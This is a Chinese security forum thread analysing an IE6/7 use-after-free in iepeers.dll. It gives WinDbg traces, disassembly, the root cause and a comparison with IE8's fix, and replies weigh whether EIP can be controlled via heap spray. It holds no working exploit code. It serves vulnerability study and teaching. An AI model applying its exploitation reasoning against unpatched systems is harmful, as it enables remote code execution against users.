770f6b82 0f8cb6f8ffff jl OLEAUT32!VariantChangeTypeEx+0x102b (770f643e) [br=0]
0:005> t
eax=00000000 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b88 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1005:
770f6b88 668b4518 mov ax,word ptr [ebp+18h] ss:0023:019dc984=0008
0:005> t
eax=00000008 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b8c esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1009:
770f6b8c 668945e0 mov word ptr [ebp-20h],ax ss:0023:019dc94c=ffff
0:005> t
eax=00000008 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b90 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x100d:
770f6b90 8b4508 mov eax,dword ptr [ebp+8] ss:0023:019dc974=019dc9b4
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b93 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1010:
770f6b93 66833808 cmp word ptr [eax],8 ds:0023:019dc9b4=0009
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b97 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
OLEAUT32!VariantChangeTypeEx+0x1014:
770f6b97 0f8367e2ffff jae OLEAUT32!VariantChangeTypeEx+0x1016 (770f4e04) [br=1]
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f4e04 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
OLEAUT32!VariantChangeTypeEx+0x1016:
770f4e04 50 push eax
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f4e05 esp=019dc92c ebp=019dc96c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
OLEAUT32!VariantChangeTypeEx+0x1017:
770f4e05 e816fbffff call OLEAUT32!VariantClear (770f4920)

步过OLEAUT32!VariantClear,访问计数减1之后,为了不要每次循环都到这里,直接看这个TearoffThunk是在哪里被重写掉的,从前面的TearoffThunk7调用
3e5b95f1 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:001897f0={mshtml!COmWindowProxy::s_apfnIDispatchEx (3e5b2fdc)}
可以知道关键的位置是001897f0处保存的这个函数表,对此处下4字节的硬件写入断点,运行后断下,这时已经在CreateTearoffThunk里的,该处的值确实被改为了mshtml!CWindow::s_apfnIHTMLPrivateWindow3:
0:005> ba w 4 001897f0
0:005> g
Breakpoint 3 hit
eax=001c97b0 ebx=00000000 ecx=3e5b56a4 edx=00000000 esi=001897e0 edi=7c80979e
eip=3e5b2d1f esp=019dc7bc ebp=019dc7c8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CreateTearOffThunk+0x83:
3e5b2d1f 895e18 mov dword ptr [esi+18h],ebx ds:0023:001897f8={mshtml!CSecurityThunkSub::`vftable' (3e5b45b8)}
0:005> dd 001897f0 l 1
001897f0 3e5b56a4
0:005> ln 3e5b56a4
(3e5b56a4) mshtml!CWindow::s_apfnIHTMLPrivateWindow3 | (3e5b56d8) mshtml!COmWindowProxy::`vftable'
Exact matches:
mshtml!CWindow::s_apfnIHTMLPrivateWindow3 = <no type information>

最后,把最早的那个断点重新搞上,不过这次加上条件,让它在下次访问相应TearoffThunk结构的时候正好被断下:
0:005> bp 75be3064 "j @eax=001897e0 '';gc"
0:005> g
eax=001897e0 ebx=00000002 ecx=3e80f218 edx=019dcdac esi=001897e0 edi=00039fc8
eip=75be3064 esp=019dcca0 ebp=019dccc0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
jscript!IDispatchExGetDispID+0x48:
75be3064 ff511c call dword ptr [ecx+1Ch] ds:0023:3e80f234={mshtml!TearoffThunk7 (3e5b95d6)}

步进去,最终的过程就有了:

0:005> t
eax=001897ec ebx=00000002 ecx=001c97b0 edx=019dcdac esi=001897e0 edi=00039fc8
eip=3e5b95f1 esp=019dcc98 ebp=019dccc0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!TearoffThunk7+0x1e:
3e5b95f1 8b4804 mov ecx,dword ptr [eax+4] ds:0023:001897f0={mshtml!CWindow::s_apfnIHTMLPrivateWindow3 (3e5b56a4)}

最后是变成jmp 0x0f09f883,以一个Access Violation异常告终:
(d4.77c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001897e0 ebx=00000002 ecx=0f09f883 edx=019dcdac esi=001897e0 edi=00039fc8
eip=0f09f883 esp=019dcc9c ebp=019dccc0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
<Unloaded_ud.drv>+0xf09f882:
0f09f883 ?? ???
pealcock 2010-3-12 09:39
4
0
膜拜楼主看的话还是知道点皮毛,但都不知道从哪开始学起
yingyue 2010-3-12 09:45
5
0
速度很快,厉害
yiyiguxing 1 2010-3-12 10:01
6
0
发现和CVE-2009-1136好像,几乎同出一辙,难道是同一个人挖出来的。。。
轩辕小聪 7 2010-3-12 10:06
7
0
貌似我之前曾经遇到过一个毒网是利用这个的,但是当时在我实机的IE8上没效果,所以直接扔掉了,现在看了相关公告才知道原来IE6和7才有效。
轩辕小聪 7 2010-3-12 10:23
8
0
https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=213
找到了又一个页面对该漏洞的简要描述,看来与我的分析是相映证的。
仙果 19 2010-3-12 11:06
9
0
昨天刚把POC从MSF中导出来,今天就看到分析了
哇哈哈
  看来我慢了一步
jupiterone 2010-3-12 11:23
10
0
^_^,看见分析了,很好很好,lz很强大
chhzh 2010-3-12 11:38
11
0
楼主好强大!
Eala 2010-3-12 15:22
12
0
强悍.....
北极狐狸 7 2010-3-12 15:53
13
0
无话可说只有膜拜了...
热火朝天 2010-3-12 16:13
14
0
完全不懂
7jdg 2010-3-12 19:45
15
0
小聪我爱你..
小天狼星 2010-3-12 21:58
16
0
请楼主分享下发布漏洞提示的一些网站,http://www.milw0rm.com/停下后就不知去哪了 
空子 2010-3-12 22:19
17
0
强帖要留名呀
lovesuae 1 2010-3-12 23:07
18
0
完全看不懂,支持小聪大牛
古河 6 2010-3-12 23:28
19
0
膜拜一下!楼主实在强大!

在下昨天也分析了这个sample, 最终结果和楼主的一样,但因为是新手,感觉自己走了很多弯路,在这里想请教楼主一点问题:
我是从发生问题的地方回溯,花了好大的功夫才定位到CPersistUserData::setAttribute这个函数的,楼主能否分享一下,您是怎么知道要找CPersistUserData::setAttribute这个函数的呢,mshtml和jscript这两个dll里的类和函数,以及他们之间的调用关系,这些有没有相应的参考资料呢?

还望楼主不吝赐教,在此先谢过楼主了
漂亮宝贝 2010-3-13 01:15
20
0
LZ很无私哈,连调试细节都贴出来了,强烈支持这样的共享精神。
轩辕小聪 7 2010-3-13 03:45
21
0
其实我对IE浏览器内核也是不懂的,也苦于这方面的资料缺乏,很多东西都是在调试过程中自己推敲的。
内存破坏这种类型的定位起来也确实比较麻烦,因为造成破坏的位置和最终触发的位置之间可能有很大距离。也就是说当调试器捕获到异常时,我们面对的已经是一个最后的现场,而我们要做的就是要还原它的整个过程。
要做到这一点,我想一般有顺向和逆向两种方法。
顺向是建立在对相应程序机制和代码的理解上,比如如果分析者对IE浏览器内核运作很了解,也就是说懂得IE是怎么执行脚本的,脚本代码是怎么跟实际的代码执行过程联系起来的,那么通过阅读PoC,当看到脚本通过addBehavior把body标签和UserData绑定并通过循环调用setAttribute来实现时,很可能很快就意识到了CPersistUserData::setAttribute是关键。对于那些深入了解浏览器机制的专家来说,或者就是这样的。
但是我就不行了,应该说我是硬钻到漏洞分析这个领域上来的,我对IE内核的实现机制基本不懂,甚至对这些类的构成方式如虚函数表,也是在这个过程中慢慢学会的。我凭借的就只有以汇编为基础的调试能力了,只能从逆向者的角度来操作它了。
对于逆向的方法,处理这种的一般步骤,我想应该是:1.捕获异常,看到最后的状态;2.尝试往前走找到一个未被破坏的初始点可以定位到相关内存未被破坏前的状态;3.找到了初始点,就可以使用写入断点来找到内存被修改也就是被重用的位置;4.对于一般的类对象,有相应的函数进行减小访问计数并最终释放的工作,对该函数进行研究,使用条件断点等捕捉到它对相应的对象进行减小访问计数的那个时刻;5.第4步成功捕捉到后,用栈回溯等就可以确定它是被谁调用的,这样就确定了破坏的位置;6.结合调试结果和脚本内容以及各个类的关系推敲。
其中第2步是第一个门槛。就像软件注册破解要找到关键代码一样,往往没有定式,只能靠摸索和观察以及一点运气,因此往往相当一部分时间是耗在这里的。
就我调试的过程而言,我是经历了这几步:
1. 直接windbg加载IE执行代码,触发异常回到调试器,这时的栈回溯可看到触发异常的代码是被jscript!IDispatchExGetDispID调用的,这样在这个函数上下断,一开始断下时并不是在最后溢出时,但是对前面那些正常的流程的调试可以让我了解这个函数相关的代码原本是在做什么,也即进一步找到了TearoffThunk7就是最终溢出的函数,以及这是有关TearoffThunk类的内存破坏。
2. 通过让程序一次又一次地断在jscript!IDispatchExGetDispID,我欣喜地找到内存破坏前后的更多信息,即前面提到的原来是COmWindowProxy::s_apfnIDispatchEx后来变成CWindow::s_apfnIHTMLPrivateWindow3导致了异常,更重要的是让我发现了程序第一次在jscript!IDispatchExGetDispID断下时它所操作的对象正是最后因为被破坏导致问题的那个对象,这样我就找到了一个未被破坏的初始点
3. 接下来就是利用硬件写入断点等一步步逼近的问题了,就像我前面说的,在第一次jscript!IDispatchExGetDispID断下之后,我找到了将被修改的类对象,我在原来为COmWindowProxy::s_apfnIDispatchEx的地方下硬件写入断点,断点断下便直接找到了修改它的位置,也即CreateTearoffThunk,这时再用栈回溯,CPersistUserData::setAttribute就蹦出来了。
4. 通过对CreateTearoffThunk的观察,我发现它是在mshtml.dll中自己保存一个立即可用的缓冲区的指针(参见我前面分析的第8点CreateTearoffThunk对InterlockedExchange的调用中的offset lpMem),通过IDA中这个指针的交叉参考,我发现了mshtml!PlainRelease正是将访问计数减为0的类对象指针挂到这里的函数(参见前面分析第7点),这样就找到了把类对象访问计数减少和“释放”的函数,从而也证实这个重用是这两个函数内部之间的“协作”,而不是走一般的直接从堆中获取或释放回堆中的路径。
5. 通过对mshtml!PlainRelease下条件断点,我捕捉到它把类对象访问计数减为0并“释放”的时刻,此时一个栈回溯,CPersistUserData::setAttribute又蹦出来了。
6. 最终确定CPersistUserData::setAttribute的重要性并对其调试,从而弄清细节。

通过这两次对内存破坏型漏洞的分析调试(这一次和前一次的IE极光漏洞),我个人认为还是有一些技巧的。
首先关键的是弄清楚被破坏的内存原来是保存什么东西的。
像这两次漏洞,被破坏的内存都是类对象的内容,所以首先要弄清楚,它到底原来是哪个类。比较简单的情形是对于有虚函数表的类,只要看它的虚函数表,就可以大致确定它是哪一个类。应该说这次比上次要容易一些,这次通过那个TearoffThunk7函数所在的表很容易找到相应的函数表位置,而上一次IE极光漏洞,内存破坏后连原来的虚函数表指针都没了,从而我当时一下子不知道它就是CTreeNode。
找到虚函数表位置或者知道它是哪个类,目的是找到它的构造函数、析构函数等等,构造函数本身就是一个该内存刚刚构建的初始点,而由于这些类的使用访问计数来标记和释放的机制,析构函数或者是减少访问计数的函数,则往往是导致这块内存被“提前释放”的直接执行者,找到他们也就找到了操纵访问计数的监测点,在此处断下后用栈回溯往往就可以窥探到内存破坏发生的过程和因果链。
对于因为访问计数的问题被提前释放,一般是某些该增加访问计数的地方没有增加或某些操作在程序没有预料到的情况下减少了访问计数(或者说在不该释放的地方释放了)。这次的iepeers漏洞属于后者,相对容易找一些,如我所说断到PlainRelease后一个栈回溯。极光漏洞则属于前者,相比之下更难找,因为动态调试中我们可以通过断点等手段捕捉到程序“做了什么”,但是想要知道它“没做什么”总是更难一点,更多地依赖于建立在代码理解基础上的推测,并用静态分析来证实推测了。这也是我在IE极光漏洞的分析中把那几篇参考文献放在前面并强调那不是我自己独立提出的思路的原因,因为没有那几篇文章对原理的描述,以我对IE浏览器和脚本语言架构完全不熟的情况要从原理上弄清楚基本上不太可能。
以上我想就是对付这类与类对象的引用和释放相关的内存破坏漏洞的一点经验了。
xhackx 1 2010-3-13 09:47
22
0
不错 不错   MARK
xouou 2010-3-13 14:20
23
0
小聪牛牛好棒啊
adomore 2010-3-13 17:35
24
0
楼猪好厉害啊!加油!
jerrynpc 2010-3-13 19:27
25
0
完全看不懂,支持小聪大牛
guobing 2010-3-13 20:43
26
0
强悍,没的说的。。。
古河 6 2010-3-14 13:27
27
0
谢谢小聪大大能将自己的经验之谈无私的分享给我们,在下看了之后真是受益匪浅!如果大家都能这样无私的分享自己的心得,那大家的水平一定都能够进步更快的.

最后对于VariantChangeTypeEx这个函数的调用,在下认为其实这个调用是成功的,确实把window对象转成了string,结果是"[object]"

那为什么还会调用VariantClear呢?其实很简单,应为调用VariantChangeTypeEx时pvargDest和pvargSrc是相同的,即转换是原地实现的,那么在把结果写到pvargDest里面之前,必须先把pvargSrc(也就是pvargDst)先释放,于是就有了VariantClear的调用
77126b4f 66833808        cmp     word ptr [eax],8
77126b53 0f833de2ffff    jae     OLEAUT32!VariantChangeTypeEx+0x1016 (77124d96) [br=1]
当type<8时,由于都是简单对象类型,没有对象指针需要释放引用计数,所以也不需要调用clear了
zzxxaa 2010-3-14 20:44
28
0
学习一下 嘿嘿··
轩辕小聪 7 2010-3-15 04:07
29
0
[QUOTE=古河;775461]最后对于VariantChangeTypeEx这个函数的调用,在下认为其实这个调用是成功的,确实把window对象转成了string,结果是"[object]"

那为什么还会调用VariantClear呢?其实很简单,应为调用VariantChangeTypeEx时pvargDest和pvargSrc是相同的,即转换是原地实现的,那么在把结果写到pvargDest里面之前,必须先把pvargSrc(也就是pvargDst)先释放,于是就有了VariantClear的调用
77126b4f 66833808        cmp     word ptr [eax],8
77126b53 0f833de2ffff    jae     OLEAUT32!VariantChangeTypeEx+0x1016 (77124d96) [br=1]
当type<8时,由于都是简单对象类型,没有对象指针需要释放引用计数,所以也不需要调用clear了[/QUOTE]
重新看了一下我的记录,的确基本如你所说:
0:005> t
eax=00000061 ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f578f esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf2:
770f578f 8d45d0 lea eax,[ebp-30h]
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5792 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf5:
770f5792 50 push eax
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5793 esp=019dc92c ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf6:
770f5793 ff7510 push dword ptr [ebp+10h] ss:0023:019dc97c=00000409
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5796 esp=019dc928 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf9:
770f5796 56 push esi
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5797 esp=019dc924 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xfa:
770f5797 e8b3be0400 call OLEAUT32!ExtractValueProperty (7714164f)
0:005> p
eax=00000000 ebx=00000000 ecx=001c821c edx=00000010 esi=001897e0 edi=00000000
eip=770f579c esp=019dc930 ebp=019dc96c iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
OLEAUT32!VariantChangeTypeEx+0xff:
770f579c 8bd8 mov ebx,eax

可以看到OLEAUT32!ExtractValueProperty确实是成功了的。因此我起先认为是失败了的确是有误的。

不过对于为什么要释放,显然不是先要把pvargSrc释放掉,因为它的释放操作是直接针对pvargDest的,而并不管它是否与pvargSrc一致。
原因应该是这样的,由于pvarDest在此之前是有意义的,在把新的结果写入pvargDest之前,要把原有的pvargDest内容先清除,于是就对pvargDest调用了VariantClear。
同时,这里对于VariantChangeTypeEx而言,看起来是否是“原地转换”并没有什么影响,因为它并没有判断pvargSrc和pvarDest是否是一致的,因此这个VariantClear调用对于VariantChangeTypeEx而言是“例行”的调用,并不是因为“转换是原地实现的”它才会调用VariantClear。

这里我们再更深入地从参数的性质上来分析,实际上其根源是在于,作为调用者的CPersistUserData::setAttribute,误解了VariantChangeTypeEx的参数pvarDest的意义。

具体地说,在CPersistUserData::setAttribute(或者说写这份代码的程序员)的眼里:
1. pvargSrc是个in参数,VariantChangeTypeEx仅读取其内容;而pvargDest是个out参数,VariantChangeTypeEx只把它当成一个写入结果的新缓冲区,在此之前pvargDest里面的内容无关紧要。而且,VariantChangeTypeEx是在先完成了对pvargSrc中内容的读取和利用后,才对pvargDest进行写入的。

2. 对于CPersistUserData::setAttribute来说,pvargSrc这个Variant的内容也是in参数,原先仅是为了提供转换的源参数,在调用VariantChangeTypeEx(或者其他转换函数)之后,源参数的内容就不再使用了。而VariantChangeTypeEx调用后的pvargDest其实只是一个中间数据,后面可以看到程序又把它拷贝到堆栈的缓冲区中,然后把后者用来调用类函数写入XML文件。

在这种指导思想下,CPersistUserData::setAttribute的代码把对VariantChangeTypeEx的调用的pvargDest和pvargSrc指定成一致,这样一来作为CPersistUserData::setAttribute的输入参数的pvargSrc,在原来内容被销毁的同时,又被作为函数运行的中间数据的缓冲区被输入了新的内容,这种把后面不再利用到的输入参数直接改为用来保存中间数据的方法,是程序优化的一种常用的方法。(注意,这里我的意思是,程序把两个参数指定为一致的意图,“并非追求这个一致本身”,因为按我的理解,pvargSrc对于CPersistUserData::setAttribute来说是VARIANT类型数据整个压入栈中的直接传递,并不是一个供它返回结果的in_out指针参数)

但是问题在于,对VariantChangeTypeEx的这种认知是错误的,其实pvargDest在本质上是一个in_out参数,VariantChangeTypeEx并不是不读取pvargDest指向的旧内容,恰恰相反,它并不把pvargDest指向的位置单纯当成一个缓冲区,而是仍然把它当成一个拥有旧内容的Variant。为了“合理”地清除旧内容,它会判断旧内容是否需要额外的释放,当pvargDest原先关联了一个类对象的时候,它将调用VariantClear去清理pvargDest,这将导致该类对象的访问计数减少。

pvargDest参数是in_out参数的本质,代表着它在调用VariantChangeTypeEx前的值将会影响到它实际的动作,因此在调用VariantChangeTypeEx前该参数指向的Variant的实际内容并非不重要。

如果我以上的分析是正确的,这导致两点:

1. 即使不将pvargDest指定为pvargSrc,而是指定为与其他的有效类对象相关联,调用VariantChangeTypeEx仍然会导致pvargDest关联的类对象被释放。因此这实际上与pvargSrc是什么无关,而只与pvargDest是什么相关。这意味着即使调用者已经不会再使用一个与类对象关联的Variant的原内容了,也仍然不能在未妥善处理它的旧内容时随便地直接将它的指针作为pvargDest参数传给VariantChangeTypeEx去用于接受新的内容,除非调用者本来就想要通过这个操作来释放这个对象。

2. 这同样意味着,在调用VariantChangeTypeEx时,pvargDest指向的Variant的内容不能是未初始化的,否则VariantChangeTypeEx有可能对一个未初始化的Variant(只要它的vt位置的值看起来大于8)调用VariantClear从而导致不可预知的问题
threewater 2010-3-15 20:53
30
0
顶一下,学习了,谢谢楼主
fighter 2010-3-15 21:23
31
0
jmp 0x0f09f883,中的地址貌似在我机器上就是0xe8xxxxxx,不知道为什么地址这么高啊,无法覆盖到
yiyiguxing 1 2010-3-16 09:57
32
0
简单跟了一下IE8的,发现setattribute其中的VariantChangeTypeEx函数参数不一样,所以不会出现引用计数减1,估计是微软早发现这个问题,然后在IE8中修复了这个问题,下面是IE8的setattribte代码:
03A52509    8BFF            mov     edi, edi
03A5250B    55              push    ebp
03A5250C    8BEC            mov     ebp, esp
03A5250E    83EC 10         sub     esp, 10
03A52511    53              push    ebx
03A52512    56              push    esi
03A52513    57              push    edi
03A52514    33FF            xor     edi, edi
03A52516    397D 0C         cmp     dword ptr [ebp+C], edi
03A52519    75 0A           jnz     short 03A52525
03A5251B    BE 57000780     mov     esi, 80070057
03A52520    E9 C7000000     jmp     03A525EC
03A52525    8B5D 08         mov     ebx, dword ptr [ebp+8]
03A52528    57              push    edi
03A52529    E8 4119FFFF     call    03A43E6F
03A5252E    8BF0            mov     esi, eax
03A52530    3BF7            cmp     esi, edi
03A52532    0F85 B4000000   jnz     03A525EC
03A52538    397B 18         cmp     dword ptr [ebx+18], edi
03A5253B    0F84 AB000000   je      03A525EC
03A52541    8B45 10         mov     eax, dword ptr [ebp+10]
03A52544    66:83F8 08      cmp     ax, 8
03A52548    897D F0         mov     dword ptr [ebp-10], edi
03A5254B    897D F4         mov     dword ptr [ebp-C], edi
03A5254E    897D F8         mov     dword ptr [ebp-8], edi
03A52551    74 62           je      short 03A525B5
03A52553    66:3D 0840      cmp     ax, 4008
03A52557    74 5C           je      short 03A525B5
03A52559    66:83F8 0B      cmp     ax, 0B
03A5255D    74 24           je      short 03A52583
03A5255F    66:3D 0B40      cmp     ax, 400B
03A52563    74 24           je      short 03A52589
03A52565    6A 08           push    8
03A52567    57              push    edi
03A52568    68 09040000     push    409
03A5256D    8D45 10         lea     eax, dword ptr [ebp+10]                      ;参数
03A52570    50              push    eax
03A52571    8D45 F0         lea     eax, dword ptr [ebp-10]                        ;局部变量
03A52574    50              push    eax
03A52575    FF15 5812A403   call    dword ptr [<&OLEAUT32.#147>]     ; OLEAUT32.VariantChangeTypeEx
03A5257B    8BF0            mov     esi, eax
03A5257D    3BF7            cmp     esi, edi
03A5257F    74 2F           je      short 03A525B0
03A52581    EB 5F           jmp     short 03A525E2
03A52583    0FB745 18       movzx   eax, word ptr [ebp+18]
03A52587    EB 07           jmp     short 03A52590
03A52589    8B45 18         mov     eax, dword ptr [ebp+18]
03A5258C    0FB740 08       movzx   eax, word ptr [eax+8]
03A52590    66:3BC7         cmp     ax, di
03A52593    66:C745 F0 0800 mov     word ptr [ebp-10], 8
03A52599    74 07           je      short 03A525A2
03A5259B    68 8C8BA403     push    03A48B8C                         ; UNICODE "true"
03A525A0    EB 05           jmp     short 03A525A7
03A525A2    68 988BA403     push    03A48B98                         ; UNICODE "false"
03A525A7    FF15 4C12A403   call    dword ptr [<&OLEAUT32.#2>]       ; OLEAUT32.SysAllocString
03A525AD    8945 F8         mov     dword ptr [ebp-8], eax
03A525B0    8D75 F0         lea     esi, dword ptr [ebp-10]
03A525B3    EB 0C           jmp     short 03A525C1
03A525B5    66:A9 0040      test    ax, 4000
03A525B9    8B75 18         mov     esi, dword ptr [ebp+18]
03A525BC    75 03           jnz     short 03A525C1
03A525BE    8D75 10         lea     esi, dword ptr [ebp+10]
03A525C1    8B43 18         mov     eax, dword ptr [ebx+18]
03A525C4    8B08            mov     ecx, dword ptr [eax]
03A525C6    83EC 10         sub     esp, 10
03A525C9    8BFC            mov     edi, esp
03A525CB    FF75 0C         push    dword ptr [ebp+C]
03A525CE    A5              movs    dword ptr es:[edi], dword ptr [e>
03A525CF    A5              movs    dword ptr es:[edi], dword ptr [e>
03A525D0    A5              movs    dword ptr es:[edi], dword ptr [e>
03A525D1    50              push    eax
03A525D2    A5              movs    dword ptr es:[edi], dword ptr [e>
03A525D3    FF91 B4000000   call    dword ptr [ecx+B4]
03A525D9    8BF0            mov     esi, eax
03A525DB    83FE 01         cmp     esi, 1
03A525DE    75 02           jnz     short 03A525E2
03A525E0    33F6            xor     esi, esi
03A525E2    8D45 F0         lea     eax, dword ptr [ebp-10]
03A525E5    50              push    eax
03A525E6    FF15 4012A403   call    dword ptr [<&OLEAUT32.#9>]       ; OLEAUT32.VariantClear
03A525EC    5F              pop     edi
03A525ED    8BC6            mov     eax, esi
03A525EF    5E              pop     esi
03A525F0    5B              pop     ebx
03A525F1    C9              leave
03A525F2    C2 1800         retn    18
轩辕小聪 7 2010-3-16 17:24
33
0
从中可以看出,这一段就是对的:
03A52514 33FF xor edi, edi
......
03A52548 897D F0 mov dword ptr [ebp-10], edi
03A5254B 897D F4 mov dword ptr [ebp-C], edi
03A5254E 897D F8 mov dword ptr [ebp-8], edi
......
03A52565 6A 08 push 8
03A52567 57 push edi
03A52568 68 09040000 push 409
03A5256D 8D45 10 lea eax, dword ptr [ebp+10] ;参数
03A52570 50 push eax
03A52571 8D45 F0 lea eax, dword ptr [ebp-10] ;局部变量
03A52574 50 push eax
03A52575 FF15 5812A403 call dword ptr [<&OLEAUT32.#147>] ; OLEAUT32.VariantChangeTypeEx

用一个局部变量来作为pvargDest,而且这个目标Variant事先被初始化为vt=VT_EMPTY(0),这跟我前面29楼的分析是一致的,即它既不能是会导致相应对象被释放的,也不能是未初始化的
yiyiguxing 1 2010-3-16 17:29
34
0
嗯,这么定义pvargDest还是很合理的。。。这也是为什么IE7不打补丁的原因吧,IE8已经修复它了。。。
轩辕小聪 7 2010-3-16 17:42
35
0
由于这个重用机制的专用性,它只是通过CreateTearoffThunk和PlainRelease进行缓冲区的回收和再利用,分析发现它有两个缓冲区指针,当一块新的内存被释放时它被置换写入这两个指针位置,而被它置换出来的旧内存块(如果存在)才会被释放到堆中。因此只有当这块内存被放回缓冲区指针中被重用之前又有两块同样用于TearoffThunk的内存被释放并把它置换出来的情况下,PlainRelease才会调用HeapFree把原来这块内存释放到堆中。这意味着通常情况下这块内存被释放到堆中的可能性不大,而且时机比较难把握,实际情况基本上就是被CreateTearoffThunk重用的,相应的位置就只能被CreateTearoffThunk指定为某个地址。
但这个地址的可能性不一定是唯一的,首先是IE版本不同导致的影响;其次我们调试的过程中通过与调试器之间的切换过程其实也会改变浏览器的程序运行流程,这使得我们的调试过程本身对这个过程可能会产生影响;另外PoC的写法不同也会影响到。
在这种情况下攻击者不能够随意操纵这个EIP地址到任意地址,只有当这个地址是有很大可能落在能通过Heap Spray覆盖到的区域内的,才能通过Heap Spray有效地实现远程执行任意代码,如果刚好地址太过高或者刚好位于已被分配的内存中,就可能只能导致拒绝服务或其他不可预知的问题。
如果我上面的分析没有错,从这个方面上看,与之前的IE极光漏洞相比,这个漏洞的利用相对局限一点。
因为从我之前对IE极光漏洞的分析中(见http://bbs.pediy.com/showthread.php?t=105899),可以看到IE极光漏洞中对应的内存是通过RtlFreeHeap被释放回堆中,然后在堆中再分配的,这使得攻击者有可能把握住再分配的时机从而通过Heap Spray把这一块内存抢先重用并覆盖为自己想要的内容,从而通过这伪造的虚函数表指针控制EIP,实际上PoC也正是这么做的(覆盖为0x0a0a0a0a)。而相对而言,这个iepeers.dll的漏洞则做不到这样精确的控制。
DarkMage 2010-3-18 13:13
36
0
这个漏洞可以做到和aurora一样精确的控制eip, 具体可以参考这个文章:http://hi.baidu.com/inking26/blog/item/bc9a014f8ba1033daec3ab38.html
轩辕小聪 7 2010-3-19 00:25
37
0
是的,这跟我35楼说的是一致的,就是要在最早被释放的内存被重用之前再连续释放两个,使得最早的一个被挤出去释放到堆里。理论上是这样的,不过因为我没有见到有具体实现的代码,我对编写这种代码也实在不精通,所以不知道实现起来的难易程度如何。
另外,这篇文章置顶这么久,应该说已经起到了抛砖引玉的作用,这段时间来大家一起讨论这个问题,出现了不少有价值的回复,也帮助我逐步修正和深化了对这个问题的理解。
nbrspx 2010-3-19 09:31
38
0
太专业了,看不懂,继续学习!!!!
imbadyc 2010-3-19 09:40
39
0
http://www.exploit-db.com/
http://www.sebug.net/vuldb/
http://www.nsfocus.com/
theendone 2010-3-19 11:51
40
0
看起来有点晕,楼主厉害
yjackn 2010-3-19 12:02
41
0
收藏了。学习中。
leochao 2010-3-20 09:53
42
0
分析的太好了,关键是过程,谢谢分享!不送你一贴都感觉过意不去。呵呵!!!
hacker一疒亻 2010-3-20 13:17
43
0
"我连Heap Spray部分都去掉了"  这是什么意思?如何LZ是省略了这一步的话,那么请LZ补上,这样的话这个帖子就完善N多了!
linkyang 2010-3-20 19:10
44
0
无话可说只有膜拜了.
hiemails 2010-3-21 19:49
45
0
今天就看到分析了
停电 2010-3-22 13:46
46
0
额 学习了,工作之余 逛逛论坛 呵呵
phikaa 2010-3-31 13:53
47
0
